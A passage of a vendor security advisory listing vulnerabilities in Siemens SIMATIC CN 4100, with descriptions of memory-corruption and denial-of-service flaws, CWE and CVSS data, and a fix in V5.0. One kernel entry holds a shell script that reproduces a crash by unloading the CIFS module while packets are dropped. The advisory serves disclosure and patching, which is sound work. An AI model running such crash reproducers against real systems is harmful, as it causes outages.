class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.3\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-6021\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in libxml2's xmlBuildQName function, where integer overflows in buffer size calculations can lead to a stack-based buffer overflow. This issue can result in memory corruption or a denial of service when processing crafted input.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-6052\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in how GLib\u2019s GString manages memory when adding data to strings. If a string is already very large, combining it with more input can cause a hidden overflow in the size calculation. This makes the system think it has enough memory when it doesn\u2019t. As a result, data may be written past the end of the allocated memory, leading to crashes or memory corruption.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-190 Integer Overflow or Wraparound\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.7\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-7425\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in libxslt where the attribute type, atype, flags are modified in a way that corrupts internal memory management. When XSLT functions, such as the key() process, result in tree fragments, this corruption prevents the proper cleanup of ID attributes. As a result, the system may access freed memory, causing crashes or enabling attackers to trigger heap corruption.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-8916\n<div class=\"csaf-accordion-content\">\n\nAllocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. BC Java bcpkix on All (API modules), Legion of the Bouncy Castle Inc. BC Java bcprov on All (API modules), Legion of the Bouncy Castle Inc. BCPKIX FIPS bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.Java, https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.Java. This issue affects BC Java: from 1.44 through 1.78; BC Java: from 1.44 through 1.78; BCPKIX FIPS: from 1.0.0 through 1.0.7, from 2.0.0 through 2.0.7.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9230\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9231\n<div class=\"csaf-accordion-content\">\n\nIssue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-385 Covert Timing Channel\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9232\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9820\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in the GnuTLS library, specifically in the gnutls_pkcs11_token_init() function that handles PKCS#11 token initialization. When a token label longer than expected is processed, the function writes past the end of a fixed-size stack buffer. This programming error can cause the application using GnuTLS to crash or, in certain conditions, be exploited for code execution. As a result, systems or applications relying on GnuTLS may be vulnerable to a denial of service or local privilege escalation attacks.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-121 Stack-based Buffer Overflow\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-14831\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in GnuTLS. This vulnerability allows a denial of service (DoS) by excessive CPU (Central Processing Unit) and memory consumption via specially crafted malicious certificates containing a large number of name constraints and subject alternative names (SANs).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-407 Inefficient Algorithmic Complexity\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-23143\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: Fix null-ptr-deref by sock_lock_init_class_and_name() and rmmod. When I ran the repro [0] and waited a few seconds, I observed two LOCKDEP splats: a warning immediately followed by a null-ptr-deref. [1] Reproduction Steps: 1) Mount CIFS 2) Add an iptables rule to drop incoming FIN packets for CIFS 3) Unmount CIFS 4) Unload the CIFS module 5) Remove the iptables rule At step 3), the CIFS module calls sock_release() for the underlying TCP socket, and it returns quickly. However, the socket remains in FIN_WAIT_1 because incoming FIN packets are dropped. At this point, the module's refcnt is 0 while the socket is still alive, so the following rmmod command succeeds. # ss -tan State Recv-Q Send-Q Local Address:Port Peer Address:Port FIN-WAIT-1 0 477 10.0.2.15:51062 10.0.0.137:445 # lsmod | grep cifs cifs 1159168 0 This highlights a discrepancy between the lifetime of the CIFS module and the underlying TCP socket. Even after CIFS calls sock_release() and it returns, the TCP socket does not die immediately in order to close the connection gracefully. While this is generally fine, it causes an issue with LOCKDEP because CIFS assigns a different lock class to the TCP socket's sk->sk_lock using sock_lock_init_class_and_name(). Once an incoming packet is processed for the socket or a timer fires, sk->sk_lock is acquired. Then, LOCKDEP checks the lock context in check_wait_context(), where hlock_class() is called to retrieve the lock class. However, since the module has already been unloaded, hlock_class() logs a warning and returns NULL, triggering the null-ptr-deref. If LOCKDEP is enabled, we must ensure that a module calling sock_lock_init_class_and_name() (CIFS, NFS, etc) cannot be unloaded while such a socket is still alive to prevent this issue. Let's hold the module reference in sock_lock_init_class_and_name() and release it when the socket is freed in sk_prot_free(). Note that sock_lock_init() clears sk->sk_owner for svc_create_socket() that calls sock_lock_init_class_and_name() for a listening socket, which clones a socket by sk_clone_lock() without GFP_ZERO. [0]: CIFS_SERVER=\"10.0.0.137\" CIFS_PATH=\"//${CIFS_SERVER}/Users/Administrator/Desktop/CIFS_TEST\" DEV=\"enp0s3\" CRED=\"/root/WindowsCredential.txt\" MNT=$(mktemp -d /tmp/XXXXXX) mount -t cifs ${CIFS_PATH} ${MNT} -o vers=3.0,credentials=${CRED},cache=none,echo_interval=1 iptables -A INPUT -s ${CIFS_SERVER} -j DROP for i in $(seq 10); do umount ${MNT} rmmod cifs sleep 1 done rm -r ${MNT} iptables -D INPUT -s ${CIFS_SERVER} -j DROP [1]: DEBUG_LOCKS_WARN_ON(1) WARNING: CPU: 10 PID: 0 at kernel/locking/lockdep.c:234 hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) Modules linked in: cifs_arc4 nls_ucs2_utils cifs_md4 [last unloaded: cifs] CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Not tainted 6.14.0 #36 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) ... Call Trace: __lock_acquire (kernel/locking/lockdep.c:4853 kernel/locking/lockdep.c:5178) lock_acquire (kernel/locking/lockdep.c:469 kernel/locking/lockdep.c:5853 kernel/locking/lockdep.c:5816) _raw_spin_lock_nested (kernel/locking/spinlock.c:379) tcp_v4_rcv (./include/linux/skbuff.h:1678 ./include/net/tcp.h:2547 net/ipv4/tcp_ipv4.c:2350) ... BUG: kernel NULL pointer dereference, address: 00000000000000c4 PF: supervisor read access in kernel mode PF: error_code(0x0000) - not-present page PGD 0 Oops: Oops: 0000 [#1] PREEMPT SMP NOPTI CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Tainted: G W 6.14.0 #36 Tainted: [W]=WARN Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:__lock_acquire (kernel/ ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-23160\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: mediatek: vcodec: Fix a resource leak related to the scp device in FW initialization On Mediatek devices with a system companion processor (SCP) the mtk_scp structure has to be removed explicitly to avoid a resource leak. Free the structure in case the allocation of the firmware structure fails during the firmware initialization.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-401 Missing Release of Memory after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-31257\n<div class=\"csaf-accordion-content\">\n\nThis issue was addressed with improved memory handling. This issue is fixed in Safari 18.5, iOS 18.5 and iPadOS 18.5, macOS Sequoia 15.5, tvOS 18.5, visionOS 2.5, watchOS 11.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-37931\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: adjust subpage bit start based on sectorsize When running machines with 64k page size and a 16k nodesize we started seeing tree log corruption in production. This turned out to be because we were not writing out dirty blocks sometimes, so this in fact affects all metadata writes. When writing out a subpage EB we scan the subpage bitmap for a dirty range. If the range isn't dirty we do bit_start++; to move onto the next bit. The problem is the bitmap is based on the number of sectors that an EB has. So in this case, we have a 64k pagesize, 16k nodesize, but a 4k sectorsize. This means our bitmap is 4 bits for every node. With a 64k page size we end up with 4 nodes per page. To make this easier this is how everything looks [0 16k 32k 48k ] logical address [0 4 8 12 ] radix tree offset [ 64k page ] folio [ 16k eb ][ 16k eb ][ 16k eb ][ 16k eb ] extent buffers [ | | | | | | | | | | | | | | | | ] bitmap Now we use all of our addressing based on fs_info->sectorsize_bits, so as you can see the above our 16k eb->start turns into radix entry 4. When we find a dirty range for our eb, we correctly do bit_start += sectors_per_node, because if we start at bit 0, the next bit for the next eb is 4, to correspond to eb->start 16k. However if our range is clean, we will do bit_start++, which will now put us offset from our radix tree entries. In our case, assume that the first time we check the bitmap the block is not dirty, we increment bit_start so now it == 1, and then we loop around and check again. This time it is dirty, and we go to find that start using the following equation start = folio_start + bit_start * fs_info->sectorsize; so in the case above, eb->start 0 is now dirty, and we calculate start as 0 + 1 * fs_info->sectorsize = 4096 4096 >> 12 = 1 Now we're looking up the radix tree for 1, and we won't find an eb. What's worse is now we're using bit_start == 1, so we do bit_start += sectors_per_node, which is now 5. If that eb is dirty we will run into the same thing, we will look at an offset that is not populated in the radix tree, and now we're skipping the writeout of dirty extent buffers. The best fix for this is to not use sectorsize_bits to address nodes, but that's a larger change. Since this is a fs corruption problem fix it simply by always using sectors_per_node to increment the start bit.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-37968\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: light: opt3001: fix deadlock due to concurrent flag access The threaded IRQ function in this driver is reading the flag twice: once to lock a mutex and once to unlock it. Even though the code setting the flag is designed to prevent it, there are subtle cases where the flag could be true at the mutex_lock stage and false at the mutex_unlock stage. This results in the mutex not being unlocked, resulting in a deadlock. Fix it by making the opt3001_irq() code generally more robust, reading the flag into a variable and using the variable value at both stages.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38322\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: perf/x86/intel: Fix crash in icl_update_topdown_event() The perf_fuzzer found a hard-lockup crash on a RaptorLake machine: Oops: general protection fault, maybe for address 0xffff89aeceab400: 0000 CPU: 23 UID: 0 PID: 0 Comm: swapper/23 Tainted: [W]=WARN Hardware name: Dell Inc. Precision 9660/0VJ762 RIP: 0010:native_read_pmc+0x7/0x40 Code: cc e8 8d a9 01 00 48 89 03 5b cd cc cc cc cc 0f 1f ... RSP: 000:fffb03100273de8 EFLAGS: 00010046 .... Call Trace: icl_update_topdown_event+0x165/0x190 ? ktime_get+0x38/0xd0 intel_pmu_read_event+0xf9/0x210 __perf_event_read+0xf9/0x210 CPUs 16-23 are E-core CPUs that don't support the perf metrics feature. The icl_update_topdown_event() should not be invoked on these CPUs. It's a regression of commit: f9bdf1f95339 (\"perf/x86/intel: Avoid disable PMU if !cpuc->enabled in sample read\") The bug introduced by that commit is that the is_topdown_event() function is mistakenly used to replace the is_topdown_count() call to check if the topdown functions for the perf metrics feature should be invoked. Fix it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38347\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: f2fs: fix to do sanity check on ino and xnid syzbot reported a f2fs bug as below: INFO: task syz-executor140:5308 blocked for more than 143 seconds. Not tainted 6.14.0-rc7-syzkaller-00069-g81e4f8d68c66 #0 \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message. task:syz-executor140 state:D stack:24016 pid:5308 tgid:5308 ppid:5306 task_flags:0x400140 flags:0x00000006 Call Trace: context_switch kernel/sched/core.c:5378 [inline] __schedule+0x190e/0x4c90 kernel/sched/core.c:6765 __schedule_loop kernel/sched/core.c:6842 [inline] schedule+0x14b/0x320 kernel/sched/core.c:6857 io_schedule+0x8d/0x110 kernel/sched/core.c:7690 folio_wait_bit_common+0x839/0xee0 mm/filemap.c:1317 __folio_lock mm/filemap.c:1664 [inline] folio_lock include/linux/pagemap.h:1163 [inline] __filemap_get_folio+0x147/0xb40 mm/filemap.c:1917 pagecache_get_page+0x2c/0x130 mm/folio-compat.c:87 find_get_page_flags include/linux/pagemap.h:842 [inline] f2fs_grab_cache_page+0x2b/0x320 fs/f2fs/f2fs.h:2776 __get_node_page+0x131/0x11b0 fs/f2fs/node.c:1463 read_xattr_block+0xfb/0x190 fs/f2fs/xattr.c:306 lookup_all_xattrs fs/f2fs/xattr.c:355 [inline] f2fs_getxattr+0x676/0xf70 fs/f2fs/xattr.c:533 __f2fs_get_acl+0x52/0x870 fs/f2fs/acl.c:179 f2fs_acl_create fs/f2fs/acl.c:375 [inline] f2fs_init_acl+0xd7/0x9b0 fs/f2fs/acl.c:418 f2fs_init_inode_metadata+0xa0f/0x1050 fs/f2fs/dir.c:539 f2fs_add_inline_entry+0x448/0x860 fs/f2fs/inline.c:666 f2fs_add_dentry+0xba/0x1e0 fs/f2fs/dir.c:765 f2fs_do_add_link+0x28c/0x3a0 fs/f2fs/dir.c:808 f2fs_add_link fs/f2fs/f2fs.h:3616 [inline] f2fs_mknod+0x2e8/0x5b0 fs/f2fs/namei.c:766 vfs_mknod+0x36d/0x3b0 fs/namei.c:4191 unix_bind_bsd net/unix/af_unix.c:1286 [inline] unix_bind+0x563/0xe30 net/unix/af_unix.c:1379 __sys_bind_socket net/socket.c:1817 [inline] __sys_bind+0x1e4/0x290 net/socket.c:1848 __do_sys_bind net/socket.c:1853 [inline] __se_sys_bind net/socket.c:1851 [inline] __x64_sys_bind+0x7a/0x90 net/socket.c:1851 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Let's dump and check metadata of corrupted inode, it shows its xattr_nid is the same to its i_ino. dump.f2fs -i 3 chaseyu.img.raw i_xattr_nid [0x 3 : 3] So that, during mknod in the corrupted directory, it tries to get and lock inode page twice, result in deadlock. - f2fs_mknod - f2fs_add_inline_entry - f2fs_get_inode_page --- lock dir's inode page - f2fs_init_acl - f2fs_acl_create(dir,..) - __f2fs_get_acl - f2fs_getxattr - lookup_all_xattrs - __get_node_page --- try to lock dir's inode page In order to fix this, let's add sanity check on ino and xnid.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 